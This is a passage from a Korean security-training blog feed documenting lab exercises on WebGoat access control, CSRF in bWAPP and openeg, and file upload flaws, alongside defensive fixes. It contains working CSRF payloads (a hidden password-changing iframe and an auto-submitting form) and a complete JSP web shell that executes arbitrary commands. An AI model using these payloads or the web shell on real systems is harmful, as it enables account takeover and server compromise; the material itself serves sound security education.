<p>상세 조회 기능 구현 시 <span style="color:#e06c75"><strong>목록 조회에서 적용한 조건</strong></span>과 <span style="color:#e06c75"><strong>레코드를 선택하기 위한 조건</strong></span>을 함께 사용해야 한다.</p>
<h4 id="1-목적-2">1. 목적</h4>
<p>기존에는 hr 소속이 아니었어도 employee_id만 변경하면 프로필 조회가 가능했었다.
<img src="https://velog.velcdn.com/images/p-jina/post/0fbbc911-8cbd-4951-8812-04c7cb01c5d4/image.png" alt=""></p>
<p>hr 소속이 아니면 프로필 조회를 못하게 소스코드 변경하기</p>
<h4 id="2-소스코드-확인">2. 소스코드 확인</h4>
<p>WebGoat/src/main/java/org/owasp/webgoat/lessons/RoleBasedAccessControl/ViewProfile.java</p>
<p>ViewProfile.java
<img src="https://velog.velcdn.com/images/p-jina/post/0a77408c-1559-4d4b-91cc-d70d09e9f96b/image.png" alt=""></p>
<p>현재 로그인한 직원 ID와 조회 대상 직원 ID를 확인하는 코드로 변경 
<img src="https://velog.velcdn.com/images/p-jina/post/304e6658-8a46-4681-b4f6-bc034d87e86b/image.png" alt=""></p>
<h4 id="3-결과-확인">3. 결과 확인</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/26d2fce0-b4c4-4094-98ef-373d6c2cc382/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d920ae03-5b7e-4864-ac7a-c0efe43e646b/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][취약점 진단] CSRF의 개요와 공격실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-CSRF%EC%9D%98-%EA%B0%9C%EC%9A%94%EC%99%80-%EA%B3%B5%EA%B2%A9%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-CSRF%EC%9D%98-%EA%B0%9C%EC%9A%94%EC%99%80-%EA%B3%B5%EA%B2%A9%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Fri, 22 Dec 2023 00:28:12 GMT</pubDate>
            <description><![CDATA[<h2 id="1-csrf">1. CSRF</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>크로스 사이트 요청 위조 Cross-Site Request Forgery 의 약어</li>
<li>서버에서 요청 주체와 요청 절차를 확인하지 않고 요청을 처리하는 경우 Victim의 권한으로 요청이 실행되는 취약점</li>
</ul>
<h3 id="12-공격원리">1.2. 공격원리</h3>
<h3 id="13-방어기법">1.3. 방어기법</h3>
<ol>
<li><span style="color:#e06c75"><strong>중요 기능에 대해서 요청 주체 재인증, 재인가</strong></span><ul>
<li>중요기능 : 데이터 생성/수정/삭제, 중요 데이터 다루는 기능, 송금 기능</li>
<li>재인증, 재인가 : 다단계 인증 적용</li>
</ul>
</li>
<li><span style="color:#e06c75"><strong>정상적인 절차에 따른 요청인지 확인 후 요청 처리</strong></span><ul>
<li>선행 페이지에서 텍스트 기반의 토큰을 부여하고 처리 페이지에서 토큰을 검증하는 방법</li>
<li>CAPTCHA 는 요청 과정에 사용자가 참여하도록 만드는 것<ul>
<li>자동화된 요청 방지</li>
<li>사용자와의 상호작용(Interaction)을 통한 요청</li>
</ul>
</li>
</ul>
</li>
</ol>
<h3 id="14-csrf-공격-예시">1.4. CSRF 공격 예시</h3>
<ul>
<li>자동 회원 가입</li>
<li>게시판 자동 글쓰기</li>
<li>광고 배너 클릭</li>
</ul>
<h3 id="실습문제1---changepassword">실습문제1 - ChangePassword</h3>
<p>beebox &gt; create user 탭 &gt; 회원가입 &gt; 회원가입한 계정으로 로그인 &gt; Cross-Site Request Forgery - ChangePassword</p>
<h4 id="1-목적">1. 목적</h4>
<p>스크립트가 포함된 게시글을 조회한 사용자의 비밀번호를 강제로 변경시키기</p>
<p>패스워드 변경 페이지 확인
<img src="https://velog.velcdn.com/images/p-jina/post/adc09b0c-3bc9-45d0-a7e5-0c678b614a58/image.png" alt=""></p>
<p>패스워드 변경 시도 시 재인증 절차 없이 패스워드가 변경되는 것 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/7e51a6e6-aa2a-446c-9cc0-6923917eb747/image.png" alt=""></p>
<p>패스워드 변경 요청 주소 확인해보면 정상절차를 검증하는 토큰 값이 포함되어 있지 않다.
<img src="https://velog.velcdn.com/images/p-jina/post/87c2e0d2-fbd0-4ada-8004-d6e30f920a7d/image.png" alt=""></p>
<p>패스워드를 변경하는 중요 기능을 구현할 때 요청 주체 및 요청 절차를 확인하지 않고 패스워드를 변경하고 있다. ⇒ CSRF 취약점 존재</p>
<p>로그아웃 후 재로그인 시도 시 기존 패스워드로는 로그인이 불가하고 변경한 패스워드로는 로그인이 가능하다.
<img src="https://velog.velcdn.com/images/p-jina/post/e9b66a51-4403-4ee2-a6b1-67eddeadcc44/image.png" alt=""></p>
<p>자동으로 패스워드 변경을 요청을 발생시키는 코드를 작성하여 게시판에 올려보자.</p>
<pre><code class="language-html">&lt;iframe src=&quot;http://beebox/bWAPP/csrf_1.php?password_new=1234&amp;password_conf=1234&amp;action=chage&quot; witdh=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7a4b9095-a48d-4712-aa78-47b0f2d12bca/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/40409e83-3a53-4751-8b06-77f871a36829/image.png" alt=""></p>
<p>이렇게 업로드 된 게시물을 다른 사용자가 조회하게 되면 요청하지 않았어도 자동으로 패스워드가 변경된다.</p>
<p>개발자 도구 &gt; Network 탭에서 요청이 전달됐는지 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/10b816e3-2f36-4005-a4a5-2388f8bbd2ac/image.png" alt=""></p>
<p>beebox VM에서 소스 코드를 확인해보자.</p>
<pre><code class="language-shell">$ sudo gedit /var/www/bWAPP/csrf_1.php</code></pre>
<p>패스워드 변경에 필요한 사용자 입력을 받아 서버로 전달하는 부분</p>
<pre><code class="language-php">   &lt;form action=&quot;&lt;?php echo($_SERVER[&quot;SCRIPT_NAME&quot;]); ?&gt;&quot; method=&quot;GET&quot;&gt;
&lt;?php
       # 보안 등급이 높으면 현재 패스워드를 함께 입력하도록 되어 있다.
       if($_COOKIE[&quot;security_level&quot;] == &quot;1&quot; or $_COOKIE[&quot;security_level&quot;] == &quot;2&quot;)
        {
?&gt;                                                 
       &lt;p&gt;&lt;label for=&quot;password_curr&quot;&gt;Current password:&lt;/label&gt;&lt;br /&gt;                            
       &lt;input type=&quot;password&quot; id=&quot;password_curr&quot; name=&quot;password_curr&quot;&gt;&lt;/p&gt;
&lt;?php                                                   
        }
?&gt;        
       # 보안 등급이 낮은 경우 패스워드 변경에 꼭 필요한 값만 입력받는다. (변경할 패스워드)
       &lt;p&gt;&lt;label for=&quot;password_new&quot;&gt;New password:&lt;/label&gt;&lt;br /&gt;             
       &lt;input type=&quot;password&quot; id=&quot;password_new&quot; name=&quot;password_new&quot;&gt;&lt;/p&gt;       
       &lt;p&gt;&lt;label for=&quot;password_conf&quot;&gt;Re-type new password:&lt;/label&gt;&lt;br /&gt;
       &lt;input type=&quot;password&quot; id=&quot;password_conf&quot; name=&quot;password_conf&quot;&gt;&lt;/p&gt;  

       &lt;button type=&quot;submit&quot; name=&quot;action&quot; value=&quot;change&quot;&gt;Change&lt;/button&gt;  
   &lt;/form&gt;</code></pre>
<p>서버 내부에서 처리</p>
<pre><code class="language-php"># 패스워드 변경에 필요한 값을 포함하고 있는 요청 파라미터가 존재하는 확인
if(isset($_REQUEST[&quot;action&quot;]) &amp;&amp; isset($_REQUEST[&quot;password_new&quot;]) &amp;&amp; isset($_REQUEST[&quot;password_conf&quot;]))
{                        
    $password_new = $_REQUEST[&quot;password_new&quot;];
    $password_conf = $_REQUEST[&quot;password_conf&quot;];      

    # 새 패스워드 값이 없는 경우
    if($password_new == &quot;&quot;)
    {        
        $message = &quot;&lt;font color=\&quot;red\&quot;&gt;Please enter a new password...&lt;/font&gt;&quot;;               
    }    
    else
    {
        # 새 패스워드와 새 패스워드 확인의 값이 다른 경우
        if($password_new != $password_conf)
        {
            $message = &quot;&lt;font color=\&quot;red\&quot;&gt;The passwords don&#39;t match!&lt;/font&gt;&quot;;       
        }
        else            
        {
            # 패스워드 변경 대상 정보를 추출 = 변경 대상의 ID를 추출 = 로그인한 사용자의 ID를 추출
            $login = $_SESSION[&quot;login&quot;];         
            $password_new = mysqli_real_escape_string($link, $password_new);
            $password_new = hash(&quot;sha1&quot;, $password_new, false);    

            # 보안 등급이 낮은 경우 요청 주체를 확인하지(재인증하지 않고) 요청을 처리
            if($_COOKIE[&quot;security_level&quot;] != &quot;1&quot; &amp;&amp; $_COOKIE[&quot;security_level&quot;] != &quot;2&quot;) 
            {
                $sql = &quot;UPDATE users SET password = &#39;&quot; . $password_new . &quot;&#39; WHERE login = &#39;&quot; . $login . &quot;&#39;&quot;;
                $recordset = $link-&gt;query($sql);

                if(!$recordset)
                {
                    die(&quot;Connect Error: &quot; . $link-&gt;error);
                }

                $message = &quot;&lt;font color=\&quot;green\&quot;&gt;The password has been changed!&lt;/font&gt;&quot;;
            }
            else
            {                               
                 # 보안 등급이 높은 경우, 현재 패스워드가 요청 파라미터로 전달되었는 확인
                if(isset($_REQUEST[&quot;password_curr&quot;]))
                {                              
                    $password_curr = $_REQUEST[&quot;password_curr&quot;];
                    $password_curr = mysqli_real_escape_string($link, $password_curr);
                    $password_curr = hash(&quot;sha1&quot;, $password_curr, false);                

                    # 현재 로그인한 사용자의 패스워드가 요청 파라미터로 전달된 것과 동일한지 확인
                    $sql = &quot;SELECT password FROM users WHERE login = &#39;&quot; . $login . &quot;&#39; AND password = &#39;&quot; .$password_curr . &quot;&#39;&quot;;
                    $recordset = $link-&gt;query($sql);             

                    if(!$recordset)
                    {
                        die(&quot;Connect Error: &quot; . $link-&gt;error);
                    }

                    $row = $recordset-&gt;fetch_object();   
                    # 패스워드가 일치하는 경우(=로그인한 사용자의 요청이 맞음) 패스워드를 변경
                    if($row)
                    {                  
                        $sql = &quot;UPDATE users SET password = &#39;&quot; . $password_new . &quot;&#39; WHERE login = &#39;&quot; . $login . &quot;&#39;&quot;;

                        $recordset = $link-&gt;query($sql);
                        if(!$recordset)
                        {
                            die(&quot;Connect Error: &quot; . $link-&gt;error);
                        }

                        $message = &quot;&lt;font color=\&quot;green\&quot;&gt;The password has been changed!&lt;/font&gt;&quot;;
                    }
                    else
                    {
                        $message = &quot;&lt;font color=\&quot;red\&quot;&gt;The current password is not valid!&lt;/font&gt;&quot;;
                    }
                }
            }
        } 
    }
}
?&gt;</code></pre>
<h3 id="실습문제2---게시판에-form-삽입-및-실행">실습문제2 - 게시판에 form 삽입 및 실행</h3>
<p>openeg &gt; 로그인 &gt; 게시판에 스크립트 작성 가능한지 확인</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/0ffefb78-09ad-4286-bc0d-c7272036216d/image.png" alt=""></p>
<p>스크립트가 포함되어 있는 게시글 조회 시 스크립트가 실행되는 것을 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/9610e6d9-b616-4ff4-9583-4d6d45d62c13/image.png" alt=""></p>
<p>아래 코드를 포함한 게시물을 작성한다.</p>
<pre><code class="language-html">&lt;form action=&quot;write.do&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
    &lt;input type=&quot;text&quot; name=&quot;subject&quot; value=&quot;저렴한 대출상품 안내&quot; /&gt; 
    &lt;input type=&quot;hidden&quot; name=&quot;writer&quot; value=&quot;김실장&quot; /&gt; 
    &lt;input type=&quot;hidden&quot; name=&quot;writerId&quot; value=&quot;test&quot; /&gt;
    &lt;textarea name=&quot;content&quot;&gt;시중에서 가장 저렴한 대출금리의 상품을 연결해 드립니다. 연락주세요.&lt;/textarea&gt;
    &lt;input type=&quot;submit&quot; id=&quot;btnSubmit&quot; /&gt;
&lt;/form&gt;

&lt;script&gt; 
  document.getElementById(&quot;btnSubmit&quot;).click(); 
&lt;/script&gt;</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9e5227b8-b585-436b-a25f-6fe364ab2ed4/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/4d198334-e3e8-4a5f-b22e-f5bba989d8f8/image.png" alt=""></p>
<p>작성된 스크립트에서 <code>Submit Query</code> 버튼을 클릭하면 자동으로 게시물이 작성되는 것을 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/54d95abf-bde2-4296-b68d-3713e60532be/image.png" alt=""></p>
<ul>
<li>취약점 종류 : Stored XSS, CSRF</li>
<li>판단 근거 <ul>
<li>Stored XSS : 실행 가능한 스크립트 코드를 게시판에 등록하면 게시판 상세 페이지에서 등록하나 스크립트 코드가 실행되므로,<br>Stored XSS 취약점이 존재한다.</li>
<li>CSRF : 정상적인 절차에 따른 요청인지, 요청의 주체가 맞는지 확인하지 않고 등록 처리에 필요한 값 존재 여부만 체크해서 등록 처리하기 때문에 CSRF 취약점이 발생했다.</li>
</ul>
</li>
<li>대응 방안<ul>
<li>Stored XSS : 게시판 저장 페이지에서 입력값을 검증해서 실행 가능한 스크립트 코드가 존재하는 경우, 오류처리 하거나, 제거하거나, 안전한 형태로 변경해서 저장하는 방법이 있고, 
게시판 상세 페이지에서 실행 가능한 스크립트 코드를 제거하거나 안전한 형태로 변경해서 출력하는 방법이 있다. 
해당 기능을 구현할 때 검증된 라이브러리, 프레임워크를 사용하는 것을 권장한다.</li>
<li>CSRF : 정상적인 절차에 따른 요청인지를 확인하는 코드를 추가한다.</li>
</ul>
</li>
</ul>
<pre><code class="language-java">// BoardController.java
    // 게시판 글쓰기 페이지 요청
    @RequestMapping(&quot;/write.do&quot;)
    public String boardWrite(@ModelAttribute(&quot;BoardModel&quot;) BoardModel boardModel, HttpSession session) {
        // (1) 임의의 난수를 발생 시켜서 세션에 저장
        String token = UUID.randomUUID().toString(); // 추가
        session.setAttribute(&quot;session_token&quot;, token); // 추가
        return &quot;/board/write&quot;;
    }</code></pre>
<pre><code class="language-html">&lt;!-- write.jsp --&gt;
    &lt;form action=&quot;write.do&quot; method=&quot;post&quot; onsubmit=&quot;return writeFormCheck()&quot; enctype=&quot;multipart/form-data&quot;&gt;
        &lt;!-- (2) 세션에 저장된 토큰값을 HIDDEN 필드의 값으로 설정 --&gt;
        &lt;input type=&quot;hidden&quot; name=&quot;request_token&quot; value=&quot;${session_token}&quot; /&gt; &lt;!-- 추가 --&gt;

        &lt;table class=&quot;boardWrite&quot;&gt;
        &lt;tr&gt;
            &lt;th&gt;&lt;label for=&quot;subject&quot;&gt;제목&lt;/label&gt;&lt;/th&gt;
            &lt;td&gt;
                &lt;input type=&quot;text&quot; id=&quot;subject&quot; name=&quot;subject&quot; class=&quot;boardSubject&quot; size=&quot;70&quot; /&gt;
                &lt;input type=&quot;hidden&quot; id=&quot;writer&quot; name=&quot;writer&quot; value=&quot;${userName}&quot; /&gt;
                &lt;input type=&quot;hidden&quot; id=&quot;writerId&quot; name=&quot;writerId&quot; value=&quot;${userId}&quot; /&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;&lt;label for=&quot;content&quot;&gt;내용&lt;/label&gt;&lt;/th&gt;
            &lt;td&gt;
                &lt;textarea id=&quot;boardContent&quot; name=&quot;content&quot; class=&quot;boardContent&quot;&gt;&lt;/textarea&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;&lt;label for=&quot;file&quot;&gt;파일&lt;/label&gt;&lt;/th&gt;
            &lt;td&gt;
                &lt;input type=&quot;file&quot; id=&quot;file&quot; name=&quot;file&quot; /&gt;
                &lt;span class=&quot;date&quot;&gt;&amp;nbsp;&amp;nbsp;*&amp;nbsp;임의로 파일명이 변경될 수 있습니다.&lt;/span&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;/table&gt;
        &lt;br /&gt;
        &lt;center&gt;
            &lt;input type=&quot;reset&quot; value=&quot;재작성&quot; class=&quot;writeBt&quot; /&gt;
            &lt;input type=&quot;submit&quot; value=&quot;확인&quot; class=&quot;writeBt&quot; /&gt;
        &lt;/center&gt;
    &lt;/form&gt;</code></pre>
<pre><code class="language-java">// BoardController.java
    // 게시판 글 저장
    @RequestMapping(value = &quot;/write.do&quot;, method = RequestMethod.POST)
    public String boardWriteProc(@ModelAttribute(&quot;BoardModel&quot;) BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
        // (3) 세션에 저장된 토큰 값과 요청 파라미터를 통해 전달된 토큰 값을 비교
        //     일치하면 기존처럼 글 저장을 처리하고, 일치하지 않으면 오류 메시지를 반환
        String stoken = (String)session.getAttribute(&quot;session_token&quot;);
        String ptoken = request.getParameter(&quot;request_token&quot;);

        if (ptoken == null || !ptoken.equals(stoken)) {
            session.setAttribute(&quot;error_message&quot;, &quot;잘못된 접근입니다.&quot;);
            return &quot;redirect:list.do&quot;;
        }</code></pre>
<pre><code class="language-javascript">//list.jsp
&lt;script type=&quot;text/javascript&quot;&gt;
    function selectedOptionCheck(){
        $(&quot;#type &gt; option[value=&lt;%=request.getParameter(&quot;type&quot;)%&gt;]&quot;).attr(&quot;selected&quot;, &quot;true&quot;);
    }

    function moveAction(where){
        switch (where) {
        case 1:
            location.href = &quot;write.do&quot;;
            break;

        case 2:
            location.href = &quot;list.do&quot;;
            break;
        }
    }

    // (4) 세션에 error_message가 있는 경우 출력
    &lt;c:if test=&quot;!empty error_message&quot;&gt;
        alert(&quot;${error_message}&quot;);

        // (5) 메세지 출력 후 세션에 저장된 error_message의 값을 삭제
        &lt;c:set var=&quot;error_message&quot; value=&quot;&quot; /&gt;
    &lt;/c:if&gt;
&lt;/script&gt;</code></pre>
<blockquote>
<p>Cross-Site Request Forgery (Change Secret)은 BeeBox에서는 해당 실습을 CSRF로 분류하고 있으나 보안기능 결정에 사용되는 부적절한 입력값 취약점으로 보는 것이 맞다.</p>
</blockquote>
<p>외부에서 입력도진 값에 의존해서 주요 기능을 처리할 때 발생
외부에서 입력된 값은 제한적으로 사용해야 하며, 반드시 검증 후 사용</p>
<h3 id="실습문제3---송금-계좌-변경하기">실습문제3 - 송금 계좌 변경하기</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ba830894-47ca-4dd6-97fe-511ef990dddb/image.png" alt=""></p>
<h4 id="1-목표">1. 목표</h4>
<p>계좌이체 서비스에서 다른 사람 계좌로 들어갈 금액을 내 계좌로 가져오기 </p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1512e0fb-8830-431d-add5-9caf5da21565/image.png" alt=""></p>
<h4 id="2-소스코드-확인">2. 소스코드 확인</h4>
<p>GET /bWAPP/csrf_2.php
account=123-45678-90&amp;amount=0&amp;action=transfer</p>
<h4 id="3-문제점">3. 문제점</h4>
<p>중요 기능임에도 정상적인 절차에 따른 요청인지 확인하지 않고, 요청 주체를 확인하는 로직이 없다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/18b06f9d-e42a-4c7b-8a61-b829f33d25da/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/0a383f42-112c-4cec-85c4-6acc2bd91bd5/image.png" alt=""></p>
<p>계좌번호를 변경하면 내가 보내고자 했던 계좌번호가 아닌 엉뚱한 계좌로 송금되는 것을 확인할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][취약점 진단] File Upload 취약점 개요 및 공격실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-File-Upload-%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B0%9C%EC%9A%94-%EB%B0%8F-%EA%B3%B5%EA%B2%A9%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-File-Upload-%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B0%9C%EC%9A%94-%EB%B0%8F-%EA%B3%B5%EA%B2%A9%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Thu, 21 Dec 2023 07:49:29 GMT</pubDate>
            <description><![CDATA[<h2 id="1-파일-업로드-취약점--file-upload">1. 파일 업로드 취약점 = File Upload</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>파일 업로드 취약점 = 위험한 형식 파일 업로드</li>
<li>파일 업로드 기능이 존재하는 경우, 업로드 하는 파일의 크기와 개수를 제한하지 않고 외부에서 직접 접근이 가능한 경로에 저장되는 경우 발생한다.</li>
</ul>
<h3 id="12-파일-업로드-기능-존재-확인하는-법">1.2. 파일 업로드 기능 존재 확인하는 법</h3>
<p><code>&lt;form&gt;</code> 태그와 <code>&lt;input&gt;</code> 태그 확인</p>
<pre><code class="language-html">&lt;form ... method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
       :    
    &lt;input type=&quot;file&quot; ...&gt;
      :
&lt;/form&gt;</code></pre>
<p>전송 패킷의 <code>Content-Type</code> 확인</p>
<pre><code class="language-javascript">POST /openeg/board/write.do HTTP/1.0
// 요청 본문의 인코딩 방식을 지정 (기본값: x-www-form-urlencoded)
Content-Type: multipart/form-data
// 요청 본문에 포함된 데이터의 크기
Content-Length: 22342
    :</code></pre>
<blockquote>
<p><strong><code>&lt;form&gt;</code> 태그의 enctype 속성이란?</strong> </p>
</blockquote>
<ul>
<li>폼 데이터가 서버로 제출될 때 해당 데이터가 인코딩 되는 방법을 명시해주는 속성</li>
<li>폼 데이터에 파일 업로드가 포함되는 경우 사용</li>
<li>method 속성값이 POST인 경우에만 사용 가능</li>
<li>요청 패킷에 Content-Type 확인<blockquote>
</blockquote>
</li>
<li><em>enctype 속성값 종류*</em></li>
<li>x-www-form-urlencoded <ul>
<li>enctype 속성의 기본값. </li>
<li>서버로 전달하는 값을 URL 인코딩 방식으로 인코딩해서 전송
<code>name=hong&amp;age=23&amp;email=hong%40test.com</code></li>
</ul>
</li>
<li>multipart/form-data<ul>
<li>폼 데이터를 멀티파트 형식으로 전송 </li>
<li>모든 문자를 인코딩 X</li>
<li>파일이나 이미지 전송 시 사용</li>
</ul>
</li>
<li>text/plain<ul>
<li>공백 문자만 <code>+</code> 기호로 변환하고 나머지 문자는 모두 인코딩하지 않고 전송</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a6ee453d-e622-478b-b9a1-bc2f24e71b76/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/21de657b-3fc2-40bc-a0c7-313b932a202d/image.png" alt=""></p>
<h3 id="13-업로드하는-파일의-크기와-개수를-제한하지-않았을-경우-발생하는-문제점">1.3. 업로드하는 파일의 크기와 개수를 제한하지 않았을 경우 발생하는 문제점</h3>
<ul>
<li>파일이 업로드되는 동안 연결을 독점하므로, 불필요하게 큰 파일을 업로드하여 <span style="color:#e06c75"><strong>서버의 연결 자원을 고갈</strong></span>시켜 정상적인 서비스를 방해할 수 있다.</li>
<li>업로드한 파일은 임시 또는 영구적으로 서버에 저장되므로, 불필요한 파일(또는 의미없는 파일)을 업로드해서 <span style="color:#e06c75"><strong>서버의 디스크 자원을 고갈</strong></span>시켜 정상적인 서비스를 방해할 수 있다.</li>
</ul>
<h3 id="14-외부에서-직접-접근이-가능한-경로에-저장되는-경우-발생하는-문제점">1.4. 외부에서 직접 접근이 가능한 경로에 저장되는 경우 발생하는 문제점</h3>
<ul>
<li>WebShell 파일을 업로드 및 실행하여 <span style="color:#e06c75"><strong>서버 제어권 탈취</strong></span></li>
</ul>
<blockquote>
<p><strong>외부에서 직접 접근이 가능한 경로란?</strong> 
Web Root Directory 아래에 위치한 파일</p>
</blockquote>
<p>웹 서버가 기준으로 정한 디렉터리 ⇒ Web Root Directory
외부에서 요청이 들어오면 Web Root Directory를 기준으로 한 상대 경로에 위치한 파일을 읽어서 또 실행해서 반환한다.</p>
<blockquote>
</blockquote>
<pre><code>httpL//www.test.com:80/path/subpath/file</code></pre><p>만약 위와 같은 URL이 있다면 <code>www.tesst.com</code> 서버의 80 포트를 사용하는 프로그램이 기준으로 정한 디렉터리가 존재한다.
예를 들어 <code>/var/www/html</code> 을 기준 디렉터리로 저장했다면 URL 상의 리소스는 해당 서버의 <code>/var/www/html/path/subpath/file</code> 로 존재해 <code>/var/www/html/otherdir/otherfile</code> 은 <code>http://www.test.com:80/otherdir/otherfile</code> 로 접근이 가능해진다.</p>
<blockquote>
<p><strong>WebShell 파일이란?</strong></p>
</blockquote>
<ul>
<li>일반적으로 Server Side Script 언어를 이용해서 하나의 파일로 구성된 프로그램</li>
<li>Command Injection 공격을 효율적으로 할 수 있도록 만들어진 프로그램</li>
</ul>
<h3 id="15-예상-피해">1.5. 예상 피해</h3>
<ul>
<li>서버의 연결 및 디스크 자원을 고갈시켜 정상적인 서비스 방해</li>
<li>서버 제어권 탈취</li>
<li>해당 서버가 악성 코드 유포지로 악용</li>
</ul>
<h3 id="16-대응방안">1.6. 대응방안</h3>
<ul>
<li>업로드 파일의 크기와 개수를 제한</li>
<li>업로드 파일을 외부에서 접근할 수 없는 경로에 저장</li>
<li>업로드 파일 저장 시 외부에서 알 수 없는 형식으로 실행 속성을 제거하고 저장</li>
</ul>
<blockquote>
<p><strong>외부에서 접근할 수 없는 경로란?</strong> Web Root Directory 밖</p>
</blockquote>
<h3 id="실습문제1---os-command-파일-업로드-및-실행">실습문제1 - OS Command 파일 업로드 및 실행</h3>
<p>Kali Linux &gt; openeg</p>
<h4 id="1-게시판에-파일-업로드-취약점이-존재하는-지-확인">1. 게시판에 파일 업로드 취약점이 존재하는 지 확인</h4>
<p>openeg &gt; 게시판 &gt; 이미지가 포함된 게시글 작성
<img src="https://velog.velcdn.com/images/p-jina/post/0aa8c581-d02a-421c-8341-c3abac45420d/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/993cecd7-3179-4941-8cf6-794b2180f45d/image.png" alt=""></p>
<h4 id="2-소스코드-확인">2. 소스코드 확인</h4>
<p>업로드한 파일이 외부에서 접근 가능한 경로에 원본 파일의 이름으로 저장되고 있다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/3699db9f-42e1-4599-b473-7526c8e76b13/image.png" alt=""></p>
<h4 id="3-파일-종류를-제한하고-있는지-확인">3. 파일 종류를 제한하고 있는지 확인</h4>
<p>OS Command를 실행 시키는 파일 작성</p>
<pre><code class="language-java">// OSCommand.jsp
&lt;%@ page import=&quot;java.io.*&quot;%&gt;
&lt;%@ page language=&quot;java&quot; contentType=&quot;text/html;charset=UTF-8&quot; pageEncoding=&quot;UTF-8&quot;%&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=UTF-8&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;form&gt;
        &lt;textarea name=&quot;cmd&quot; cols=&quot;100&quot; rows=&quot;5&quot;&gt;&lt;/textarea&gt;
        &lt;br/&gt;
        &lt;input type=&quot;submit&quot; /&gt;
    &lt;/form&gt;
    &lt;pre&gt;
    &lt;%
        // cmd 요청 파라미터의 값을 추출
        String cmd = request.getParameter(&quot;cmd&quot;); 
        // 값이 있는 경우 
        if (cmd != null &amp;&amp; !&quot;&quot;.equals(cmd)) {     
            Process ps = null;
            InputStream is = null;
            InputStreamReader isr = null;
            BufferedReader br = null;
            try {
                // cmd 요청 파라미터의 값을 해당 서버의 쉘에서 실행 후 결과를 반환
                ps = Runtime.getRuntime().exec(cmd); 
                is = ps.getInputStream();                  
                isr = new InputStreamReader(is);
                br = new BufferedReader(isr);
                String line = null;
                while ((line = br.readLine()) != null) {
                    out.println(line);
                }
            } catch (Exception e) {
                System.err.println(e);
            } finally {
                if (br != null) { br.close(); }
                if (isr != null) { isr.close(); }
                if (is != null) { is.close(); }
                if (ps != null) { ps.destroy(); }
            }
        }
    %&gt; 
    &lt;/pre&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>게시판에 OSCommand.jsp 파일 업로드</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/5d4bce4a-fe3a-477d-b162-1b1df67f4820/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/c42e69bd-49de-4b93-bbc0-64b255565ddf/image.png" alt=""></p>
<p>파일이 업로드된 경로로 이동하면 서버 쉘이 실행된 것을 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2479a30b-da6a-49d2-be71-c57802851c47/image.png" alt=""></p>
<h4 id="4-취약한-소스-코드를-확인">4. 취약한 소스 코드를 확인</h4>
<pre><code class="language-java">// BoardController.java
    //  게시판 글저장 처리
    @RequestMapping(value = &quot;/write.do&quot;, method = RequestMethod.POST)
    public String boardWriteProc(@ModelAttribute(&quot;BoardModel&quot;) BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
        // CSRF 방어
        String stoken = (String)session.getAttribute(&quot;session_token&quot;);
        String ptoken = request.getParameter(&quot;request_token&quot;);

        if (ptoken == null || !ptoken.equals(stoken)) {
            session.setAttribute(&quot;error_message&quot;, &quot;잘못된 접근입니다.&quot;);
            return &quot;redirect:list.do&quot;;
        }

